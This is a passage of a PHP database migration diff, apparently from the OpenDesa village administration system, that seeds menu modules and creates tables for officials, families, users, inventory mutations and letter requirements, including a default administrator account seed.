+ 'ikon_kecil' => '',
+ 'parent' => 14,
+ ],
+ [
+ 'id' => 313,
+ 'modul' => 'Layanan Pelanggan',
+ 'url' => 'pelanggan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-credit-card',
+ 'urut' => 5,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-credit-card',
+ 'parent' => 200,
+ ],
+ [
+ 'id' => 314,
+ 'modul' => 'Pengaturan',
+ 'url' => 'setting/mandiri',
+ 'aktif' => 1,
+ 'ikon' => 'fa-gear',
+ 'urut' => 6,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-gear',
+ 'parent' => 14,
+ ],
+ [
+ 'id' => 315,
+ 'modul' => 'Buku Mutasi Penduduk',
+ 'url' => 'bumindes_penduduk_mutasi/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 303,
+ ],
+ [
+ 'id' => 316,
+ 'modul' => 'Buku Rekapitulasi Jumlah Penduduk',
+ 'url' => 'bumindes_penduduk_rekapitulasi/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 303,
+ ],
+ [
+ 'id' => 317,
+ 'modul' => 'Buku Penduduk Sementara',
+ 'url' => 'bumindes_penduduk_sementara/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 303,
+ ],
+ [
+ 'id' => 318,
+ 'modul' => 'Buku KTP dan KK',
+ 'url' => 'bumindes_penduduk_ktpkk/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 303,
+ ],
+ [
+ 'id' => 319,
+ 'modul' => 'Buku Tanah Kas [Desa]',
+ 'url' => 'bumindes_tanah_kas_desa/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 302,
+ ],
+ [
+ 'id' => 320,
+ 'modul' => 'Buku Tanah di [Desa]',
+ 'url' => 'bumindes_tanah_desa/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 302,
+ ],
+ [
+ 'id' => 321,
+ 'modul' => 'Pendapat',
+ 'url' => 'pendapat',
+ 'aktif' => 1,
+ 'ikon' => 'fa-thumbs-o-up',
+ 'urut' => 5,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-thumbs-o-up',
+ 'parent' => 14,
+ ],
+ [
+ 'id' => 322,
+ 'modul' => 'Buku Inventaris dan Kekayaan [Desa]',
+ 'url' => 'bumindes_inventaris_kekayaan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 302,
+ ],
+ [
+ 'id' => 323,
+ 'modul' => 'Buku Rencana Kerja Pembangunan',
+ 'url' => 'bumindes_rencana_pembangunan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-files-o',
+ 'urut' => 0,
+ 'level' => 0,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 305,
+ ],
+ [
+ 'id' => 324,
+ 'modul' => 'Lapak',
+ 'url' => 'lapak_admin',
+ 'aktif' => 1,
+ 'ikon' => 'fa-cart-plus',
+ 'urut' => 122,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-cart-plus',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 325,
+ 'modul' => 'Laporan APBDes',
+ 'url' => 'laporan_apbdes',
+ 'aktif' => 1,
+ 'ikon' => 'fa-file-text-o',
+ 'urut' => 5,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-file-text-o',
+ 'parent' => 201,
+ ],
+ [
+ 'id' => 326,
+ 'modul' => 'Sinkronisasi',
+ 'url' => 'sinkronisasi',
+ 'aktif' => 1,
+ 'ikon' => ' fa-random',
+ 'urut' => 7,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-random',
+ 'parent' => 11,
+ ],
+ [
+ 'id' => 327,
+ 'modul' => 'Lembaga [Desa]',
+ 'url' => 'lembaga/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-list',
+ 'urut' => 4,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 200,
+ ],
+ [
+ 'id' => 328,
+ 'modul' => 'Kategori Lembaga',
+ 'url' => 'lembaga_master',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => null,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 327,
+ ],
+ [
+ 'id' => 329,
+ 'modul' => 'Bumindes Kegiatan Pembangunan',
+ 'url' => 'bumindes_kegiatan_pembangunan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => null,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 301,
+ ],
+ [
+ 'id' => 330,
+ 'modul' => 'Laporan penduduk',
+ 'url' => 'laporan_penduduk',
+ 'aktif' => 1,
+ 'ikon' => 'fa-file-text-o',
+ 'urut' => 5,
+ 'level' => 2,
+ 'hidden' => 1,
+ 'ikon_kecil' => 'fa-file-text-o',
+ 'parent' => 3,
+ ],
+ [
+ 'id' => 331,
+ 'modul' => 'Pendaftaran Kerjasama',
+ 'url' => 'pendaftaran_kerjasama',
+ 'aktif' => 1,
+ 'ikon' => 'fa-list',
+ 'urut' => 6,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-list',
+ 'parent' => 200,
+ ],
+ [
+ 'id' => 332,
+ 'modul' => 'Kader Pemberdayaan Masyarakat',
+ 'url' => 'bumindes_kader',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => null,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 301,
+ ],
+ [
+ 'id' => 333,
+ 'modul' => 'Buku Inventaris Hasil - Hasil Pembangunan',
+ 'url' => 'bumindes_hasil_pembangunan',
+ 'aktif' => 1,
+ 'ikon' => '',
+ 'urut' => null,
+ 'level' => 2,
+ 'hidden' => 2,
+ 'ikon_kecil' => '',
+ 'parent' => 301,
+ ],
+ [
+ 'id' => 334,
+ 'modul' => 'Pengaduan',
+ 'url' => 'pengaduan_admin',
+ 'aktif' => 1,
+ 'ikon' => 'fa-info',
+ 'urut' => 124,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa-info',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 335,
+ 'modul' => 'Vaksin',
+ 'url' => 'vaksin_covid/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa fa-medkit',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 206,
+ ],
+ [
+ 'id' => 336,
+ 'modul' => 'Arsip [Desa]',
+ 'url' => 'bumindes_arsip',
+ 'aktif' => 1,
+ 'ikon' => 'fa-archive',
+ 'urut' => 5,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-archive',
+ 'parent' => 301,
+ ],
+ ]);
+
+ DB::statement('
+ CREATE TABLE `sys_traffic` (
+ `Tanggal` date NOT NULL,
+ `ipAddress` text NOT NULL,
+ `Jumlah` int(10) NOT NULL,
+ PRIMARY KEY (`Tanggal`)
+ );
+ ');
+ }
+
+ private function tabel_pamong()
+ {
+ DB::statement("
+ CREATE TABLE `tweb_desa_pamong` (
+ `pamong_id` int(5) NOT NULL AUTO_INCREMENT,
+ `pamong_nama` varchar(100) DEFAULT NULL,
+ `pamong_nip` varchar(20) DEFAULT NULL,
+ `pamong_nik` varchar(20) DEFAULT NULL,
+ `jabatan` varchar(50) DEFAULT '0',
+ `pamong_status` tinyint(1) DEFAULT 1,
+ `pamong_tgl_terdaftar` date DEFAULT NULL,
+ `pamong_ttd` tinyint(1) DEFAULT NULL,
+ `foto` text DEFAULT NULL,
+ `id_pend` int(11) DEFAULT NULL,
+ `pamong_tempatlahir` varchar(100) DEFAULT NULL,
+ `pamong_tanggallahir` date DEFAULT NULL,
+ `pamong_sex` tinyint(4) DEFAULT NULL,
+ `pamong_pendidikan` int(10) DEFAULT NULL,
+ `pamong_agama` int(10) DEFAULT NULL,
+ `pamong_nosk` varchar(30) DEFAULT NULL,
+ `pamong_tglsk` date DEFAULT NULL,
+ `pamong_masajab` varchar(120) DEFAULT NULL,
+ `urut` int(5) DEFAULT NULL,
+ `pamong_niap` varchar(25) DEFAULT '0',
+ `pamong_pangkat` varchar(20) DEFAULT NULL,
+ `pamong_nohenti` varchar(20) DEFAULT NULL,
+ `pamong_tglhenti` date DEFAULT NULL,
+ `pamong_ub` tinyint(1) NOT NULL DEFAULT 0,
+ `atasan` int(11) DEFAULT NULL,
+ `bagan_tingkat` tinyint(2) DEFAULT NULL,
+ `bagan_offset` int(3) DEFAULT NULL,
+ `bagan_layout` varchar(20) DEFAULT NULL,
+ `bagan_warna` varchar(25) DEFAULT NULL,
+ PRIMARY KEY (`pamong_id`)
+ );
+ ");
+ }
+
+ private function tabel_keluarga()
+ {
+ DB::statement('
+ CREATE TABLE `tweb_keluarga` (
+ `id` int(10) NOT NULL AUTO_INCREMENT,
+ `no_kk` varchar(16) DEFAULT NULL,
+ `nik_kepala` varchar(200) DEFAULT NULL,
+ `tgl_daftar` timestamp NULL DEFAULT current_timestamp(),
+ `kelas_sosial` int(4) DEFAULT NULL,
+ `tgl_cetak_kk` datetime DEFAULT NULL,
+ `alamat` varchar(200) DEFAULT NULL,
+ `id_cluster` int(11) NOT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_by` int(11) NOT NULL,
+ PRIMARY KEY (`id`),
+ UNIQUE KEY `no_kk` (`no_kk`),
+ KEY `nik_kepala` (`nik_kepala`)
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `tweb_keluarga_sejahtera` (
+ `id` int(10) NOT NULL DEFAULT 0,
+ `nama` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`)
+ );
+ ');
+
+ DB::table('tweb_keluarga_sejahtera')->insert([
+ ['id' => 1, 'nama' => 'Keluarga Pra Sejahtera'],
+ ['id' => 2, 'nama' => 'Keluarga Sejahtera I'],
+ ['id' => 3, 'nama' => 'Keluarga Sejahtera II'],
+ ['id' => 4, 'nama' => 'Keluarga Sejahtera III'],
+ ['id' => 5, 'nama' => 'Keluarga Sejahtera III Plus'],
+ ]);
+ }
+
+ private function tabel_pengguna()
+ {
+ DB::statement("
+ CREATE TABLE `user` (
+ `id` mediumint(8) unsigned NOT NULL AUTO_INCREMENT,
+ `username` varchar(100) DEFAULT NULL,
+ `password` varchar(100) NOT NULL,
+ `id_grup` int(5) NOT NULL,
+ `email` varchar(100) DEFAULT NULL,
+ `last_login` datetime DEFAULT NULL,
+ `email_verified_at` datetime DEFAULT NULL,
+ `active` tinyint(1) unsigned DEFAULT 0,
+ `nama` varchar(50) DEFAULT NULL,
+ `company` varchar(100) DEFAULT NULL,
+ `phone` varchar(20) DEFAULT NULL,
+ `foto` varchar(100) DEFAULT 'kuser.png',
+ `session` varchar(40) NOT NULL,
+ PRIMARY KEY (`id`),
+ UNIQUE KEY `username` (`username`),
+ UNIQUE KEY `email` (`email`)
+ );
+ ");
+
+ DB::table('user')->insert([
+ [
+ 'id' => 1,
+ 'username' => 'admin',
+ 'password' => '$2y$10$CfFhuvLXa3RNotqOPYyW2.JujLbAbZ4YO0PtxIRBz4QDLP0/pfH6.',
+ 'id_grup' => 1,
+ 'email' => null,
+ 'last_login' => '2022-02-28 19:55:01',
+ 'email_verified_at' => null,
+ 'active' => 1,
+ 'nama' => 'Administrator',
+ 'company' => 'OpenDesa',
+ 'phone' => null,
+ 'foto' => 'kuser.png',
+ 'session' => 'a8d4080245664ed2049c1b2ded7cac30',
+ ],
+ ]);
+
+ DB::statement('
+ CREATE TABLE `user_grup` (
+ `id` int(5) NOT NULL AUTO_INCREMENT,
+ `nama` varchar(20) NOT NULL,
+ `jenis` tinyint(2) NOT NULL DEFAULT 1,
+ `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `created_by` int(11) DEFAULT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_by` int(11) NOT NULL,
+ PRIMARY KEY (`id`)
+ );
+ ');
+
+ DB::table('user_grup')->insert([
+ [
+ 'id' => 1,
+ 'nama' => 'Administrator',
+ 'jenis' => 1,
+ 'created_at' => '2021-05-01 01:45:38',
+ 'created_by' => null,
+ 'updated_at' => '2021-05-01 01:45:38',
+ 'updated_by' => 0,
+ ],
+ [
+ 'id' => 2,
+ 'nama' => 'Operator',
+ 'jenis' => 1,
+ 'created_at' => '2021-05-01 01:45:38',
+ 'created_by' => null,
+ 'updated_at' => '2021-05-01 01:45:38',
+ 'updated_by' => 0,
+ ],
+ [
+ 'id' => 3,
+ 'nama' => 'Redaksi',
+ 'jenis' => 1,
+ 'created_at' => '2021-05-01 01:45:38',
+ 'created_by' => null,
+ 'updated_at' => '2021-05-01 01:45:38',
+ 'updated_by' => 0,
+ ],
+ [
+ 'id' => 4,
+ 'nama' => 'Kontributor',
+ 'jenis' => 1,
+ 'created_at' => '2021-05-01 01:45:38',
+ 'created_by' => null,
+ 'updated_at' => '2021-05-01 01:45:38',
+ 'updated_by' => 0,
+ ],
+ [
+ 'id' => 5,
+ 'nama' => 'Satgas Covid-19',
+ 'jenis' => 2,
+ 'created_at' => '2021-05-01 01:45:38',
+ 'created_by' => null,
+ 'updated_at' => '2021-05-01 01:45:38',
+ 'updated_by' => 0,
+ ],
+ ]);
+ }
+
+ // TODO: Pisahkan pembuatan tabel dengan pembuatan foreign key constraint
+ // supaya pembuatan tabel bisa dilakukan di masing2 modul
+ private function tabel_ada_foreign_key()
+ {
+ DB::statement('
+ CREATE TABLE `suplemen_terdata` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_suplemen` int(10) DEFAULT NULL,
+ `id_terdata` varchar(20) DEFAULT NULL,
+ `sasaran` tinyint(4) DEFAULT NULL,
+ `keterangan` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_suplemen` (`id_suplemen`),
+ CONSTRAINT `suplemen_terdata_ibfk_1` FOREIGN KEY (`id_suplemen`) REFERENCES `suplemen` (`id`) ON DELETE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `kontak` (
+ `id_kontak` int(11) NOT NULL AUTO_INCREMENT,
+ `id_pend` int(11) DEFAULT NULL,
+ `no_hp` varchar(15) DEFAULT NULL,
+ PRIMARY KEY (`id_kontak`),
+ KEY `kontak_ke_tweb_penduduk` (`id_pend`),
+ CONSTRAINT `kontak_ke_tweb_penduduk` FOREIGN KEY (`id_pend`) REFERENCES `tweb_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `anggota_grup_kontak` (
+ `id_grup_kontak` int(11) NOT NULL AUTO_INCREMENT,
+ `id_grup` int(11) NOT NULL,
+ `id_kontak` int(11) NOT NULL,
+ PRIMARY KEY (`id_grup_kontak`),
+ KEY `anggota_grup_kontak_ke_kontak` (`id_kontak`),
+ KEY `anggota_grup_kontak_ke_kontak_grup` (`id_grup`),
+ CONSTRAINT `anggota_grup_kontak_ke_kontak` FOREIGN KEY (`id_kontak`) REFERENCES `kontak` (`id_kontak`) ON DELETE CASCADE ON UPDATE CASCADE,
+ CONSTRAINT `anggota_grup_kontak_ke_kontak_grup` FOREIGN KEY (`id_grup`) REFERENCES `kontak_grup` (`id_grup`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `mutasi_inventaris_asset` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_inventaris_asset` int(11) DEFAULT NULL,
+ `jenis_mutasi` varchar(100) DEFAULT NULL,
+ `tahun_mutasi` date NOT NULL,
+ `harga_jual` double DEFAULT NULL,
+ `sumbangkan` varchar(255) DEFAULT NULL,
+ `keterangan` text NOT NULL,
+ `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `created_by` int(11) NOT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_by` int(11) NOT NULL,
+ `visible` int(1) NOT NULL DEFAULT 1,
+ `status_mutasi` varchar(50) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `FK_mutasi_inventaris_asset` (`id_inventaris_asset`),
+ CONSTRAINT `FK_mutasi_inventaris_asset` FOREIGN KEY (`id_inventaris_asset`) REFERENCES `inventaris_asset` (`id`)
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `mutasi_inventaris_gedung` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_inventaris_gedung` int(11) DEFAULT NULL,
+ `jenis_mutasi` varchar(100) DEFAULT NULL,
+ `tahun_mutasi` date NOT NULL,
+ `harga_jual` double DEFAULT NULL,
+ `sumbangkan` varchar(255) DEFAULT NULL,
+ `keterangan` text NOT NULL,
+ `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `created_by` int(11) NOT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_by` int(11) NOT NULL,
+ `visible` int(1) NOT NULL DEFAULT 1,
+ `status_mutasi` varchar(50) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `FK_mutasi_inventaris_gedung` (`id_inventaris_gedung`),
+ CONSTRAINT `FK_mutasi_inventaris_gedung` FOREIGN KEY (`id_inventaris_gedung`) REFERENCES `inventaris_gedung` (`id`)
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `mutasi_inventaris_jalan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_inventaris_jalan` int(11) DEFAULT NULL,
+ `jenis_mutasi` varchar(100) DEFAULT NULL,
+ `tahun_mutasi` date NOT NULL,
+ `harga_jual` double DEFAULT NULL,
+ `sumbangkan` varchar(255) DEFAULT NULL,
+ `keterangan` text NOT NULL,
+ `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `created_by` int(11) NOT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_by` int(11) NOT NULL,
+ `visible` int(1) NOT NULL DEFAULT 1,
+ `status_mutasi` varchar(50) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `FK_mutasi_inventaris_jalan` (`id_inventaris_jalan`),
+ CONSTRAINT `FK_mutasi_inventaris_jalan` FOREIGN KEY (`id_inventaris_jalan`) REFERENCES `inventaris_jalan` (`id`)
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `mutasi_inventaris_peralatan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_inventaris_peralatan` int(11) DEFAULT NULL,
+ `jenis_mutasi` varchar(100) DEFAULT NULL,
+ `tahun_mutasi` date NOT NULL,
+ `harga_jual` double DEFAULT NULL,
+ `sumbangkan` varchar(255) DEFAULT NULL,
+ `keterangan` text NOT NULL,
+ `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `created_by` int(11) NOT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_by` int(11) NOT NULL,
+ `visible` int(1) NOT NULL DEFAULT 1,
+ `status_mutasi` varchar(50) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `FK_mutasi_inventaris_peralatan` (`id_inventaris_peralatan`),
+ CONSTRAINT `FK_mutasi_inventaris_peralatan` FOREIGN KEY (`id_inventaris_peralatan`) REFERENCES `inventaris_peralatan` (`id`)
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `mutasi_inventaris_tanah` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_inventaris_tanah` int(11) DEFAULT NULL,
+ `jenis_mutasi` varchar(100) DEFAULT NULL,
+ `tahun_mutasi` date NOT NULL,
+ `harga_jual` double DEFAULT NULL,
+ `sumbangkan` varchar(255) DEFAULT NULL,
+ `keterangan` text NOT NULL,
+ `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `created_by` int(11) NOT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_by` int(11) NOT NULL,
+ `visible` int(1) NOT NULL DEFAULT 1,
+ `status_mutasi` varchar(50) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `FK_mutasi_inventaris_tanah` (`id_inventaris_tanah`),
+ CONSTRAINT `FK_mutasi_inventaris_tanah` FOREIGN KEY (`id_inventaris_tanah`) REFERENCES `inventaris_tanah` (`id`)
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `disposisi_surat_masuk` (
+ `id_disposisi` int(11) NOT NULL AUTO_INCREMENT,
+ `id_surat_masuk` int(11) NOT NULL,
+ `id_desa_pamong` int(11) DEFAULT NULL,
+ `disposisi_ke` varchar(50) DEFAULT NULL,
+ PRIMARY KEY (`id_disposisi`),
+ KEY `id_surat_fk` (`id_surat_masuk`),
+ KEY `desa_pamong_fk` (`id_desa_pamong`),
+ CONSTRAINT `desa_pamong_fk` FOREIGN KEY (`id_desa_pamong`) REFERENCES `tweb_desa_pamong` (`pamong_id`) ON DELETE CASCADE ON UPDATE CASCADE,
+ CONSTRAINT `id_surat_fk` FOREIGN KEY (`id_surat_masuk`) REFERENCES `surat_masuk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `tweb_penduduk_mandiri` (
+ `pin` char(32) NOT NULL,
+ `last_login` datetime DEFAULT NULL,
+ `tanggal_buat` datetime DEFAULT NULL,
+ `id_pend` int(9) NOT NULL,
+ `aktif` int(1) DEFAULT 1,
+ `scan_ktp` varchar(100) DEFAULT NULL,
+ `scan_kk` varchar(100) DEFAULT NULL,
+ `foto_selfie` varchar(100) DEFAULT NULL,
+ `ganti_pin` tinyint(1) NOT NULL DEFAULT 1,
+ `email_verified_at` timestamp NULL DEFAULT NULL,
+ `remember_token` varchar(100) DEFAULT NULL,
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ PRIMARY KEY (`id_pend`),
+ CONSTRAINT `id_pend_fk` FOREIGN KEY (`id_pend`) REFERENCES `tweb_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `setting_aplikasi_options` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_setting` int(11) NOT NULL,
+ `value` varchar(512) NOT NULL,
+ `kode` tinyint(4) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_setting_fk` (`id_setting`),
+ CONSTRAINT `id_setting_fk` FOREIGN KEY (`id_setting`) REFERENCES `setting_aplikasi` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::table('setting_aplikasi_options')->insert([
+ [
+ 'id' => 1,
+ 'id_setting' => 24,
+ 'value' => 'Nomor berurutan untuk masing-masing surat masuk dan keluar; dan untuk semua surat layanan',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 2,
+ 'id_setting' => 24,
+ 'value' => 'Nomor berurutan untuk masing-masing surat masuk dan keluar; dan untuk setiap surat layanan dengan jenis yang sama',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 3,
+ 'id_setting' => 24,
+ 'value' => 'Nomor berurutan untuk keseluruhan surat layanan, masuk dan keluar',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 4,
+ 'id_setting' => 27,
+ 'value' => 'skin-blue',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 5,
+ 'id_setting' => 27,
+ 'value' => 'skin-blue-light',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 6,
+ 'id_setting' => 27,
+ 'value' => 'skin-yellow',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 7,
+ 'id_setting' => 27,
+ 'value' => 'skin-yellow-light',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 8,
+ 'id_setting' => 27,
+ 'value' => 'skin-green',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 9,
+ 'id_setting' => 27,
+ 'value' => 'skin-green-light',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 10,
+ 'id_setting' => 27,
+ 'value' => 'skin-purple',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 11,
+ 'id_setting' => 27,
+ 'value' => 'skin-purple-light',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 12,
+ 'id_setting' => 27,
+ 'value' => 'skin-red',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 13,
+ 'id_setting' => 27,
+ 'value' => 'skin-red-light',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 14,
+ 'id_setting' => 27,
+ 'value' => 'skin-black',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 15,
+ 'id_setting' => 27,
+ 'value' => 'skin-black-light',
+ 'kode' => null,
+ ],
+ [
+ 'id' => 16,
+ 'id_setting' => 12,
+ 'value' => 'Web bisa diakses publik',
+ 'kode' => 0,
+ ],
+ [
+ 'id' => 17,
+ 'id_setting' => 12,
+ 'value' => 'Web hanya bisa diakses petugas web',
+ 'kode' => 1,
+ ],
+ [
+ 'id' => 18,
+ 'id_setting' => 12,
+ 'value' => 'Web non-aktif sama sekali',
+ 'kode' => 2,
+ ],
+ [
+ 'id' => 52,
+ 'id_setting' => 605,
+ 'value' => 'Tidak Aktif',
+ 'kode' => 0,
+ ],
+ ['id' => 53, 'id_setting' => 605, 'value' => 'Slider', 'kode' => 1],
+ ['id' => 54, 'id_setting' => 605, 'value' => 'Video', 'kode' => 2],
+ ]);
+
+ DB::statement('
+ CREATE TABLE `log_penduduk` (
+ `id` int(10) NOT NULL AUTO_INCREMENT,
+ `id_pend` int(11) NOT NULL,
+ `kode_peristiwa` int(11) DEFAULT NULL,
+ `meninggal_di` varchar(50) DEFAULT NULL,
+ `jam_mati` varchar(10) DEFAULT NULL,
+ `sebab` varchar(50) DEFAULT NULL,
+ `penolong_mati` varchar(50) DEFAULT NULL,
+ `akta_mati` varchar(50) DEFAULT NULL,
+ `alamat_tujuan` tinytext DEFAULT NULL,
+ `tgl_lapor` timestamp NOT NULL DEFAULT current_timestamp(),
+ `tgl_peristiwa` datetime DEFAULT current_timestamp(),
+ `catatan` text DEFAULT NULL,
+ `no_kk` varchar(16) DEFAULT NULL,
+ `nama_kk` varchar(100) DEFAULT NULL,
+ `ref_pindah` tinyint(4) DEFAULT 1,
+ `created_at` timestamp NULL DEFAULT current_timestamp(),
+ `created_by` int(11) DEFAULT NULL,
+ `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
+ `updated_by` int(11) DEFAULT NULL,
+ `maksud_tujuan_kedatangan` varchar(50) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ UNIQUE KEY `id_pend` (`id_pend`,`kode_peristiwa`,`tgl_peristiwa`),
+ KEY `id_ref_pindah` (`ref_pindah`),
+ CONSTRAINT `id_ref_pindah` FOREIGN KEY (`ref_pindah`) REFERENCES `ref_pindah` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `agenda` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_artikel` int(11) NOT NULL,
+ `tgl_agenda` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
+ `koordinator_kegiatan` varchar(50) NOT NULL,
+ `lokasi_kegiatan` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_artikel_fk` (`id_artikel`),
+ CONSTRAINT `id_artikel_fk` FOREIGN KEY (`id_artikel`) REFERENCES `artikel` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `syarat_surat` (
+ `id` int(10) NOT NULL AUTO_INCREMENT,
+ `surat_format_id` int(10) NOT NULL,
+ `ref_syarat_id` int(10) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_surat_format` (`surat_format_id`),
+ CONSTRAINT `id_surat_format` FOREIGN KEY (`surat_format_id`) REFERENCES `tweb_surat_format` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::table('syarat_surat')->insert([
+ ['id' => 1, 'surat_format_id' => 1, 'ref_syarat_id' => 1],
+ ['id' => 2, 'surat_format_id' => 1, 'ref_syarat_id' => 2],
+ ['id' => 3, 'surat_format_id' => 1, 'ref_syarat_id' => 3],
+ ['id' => 4, 'surat_format_id' => 2, 'ref_syarat_id' => 2],
+ ['id' => 5, 'surat_format_id' => 2, 'ref_syarat_id' => 3],
+ ['id' => 6, 'surat_format_id' => 3, 'ref_syarat_id' => 2],
+ ['id' => 7, 'surat_format_id' => 3, 'ref_syarat_id' => 3],
+ ['id' => 8, 'surat_format_id' => 5, 'ref_syarat_id' => 1],
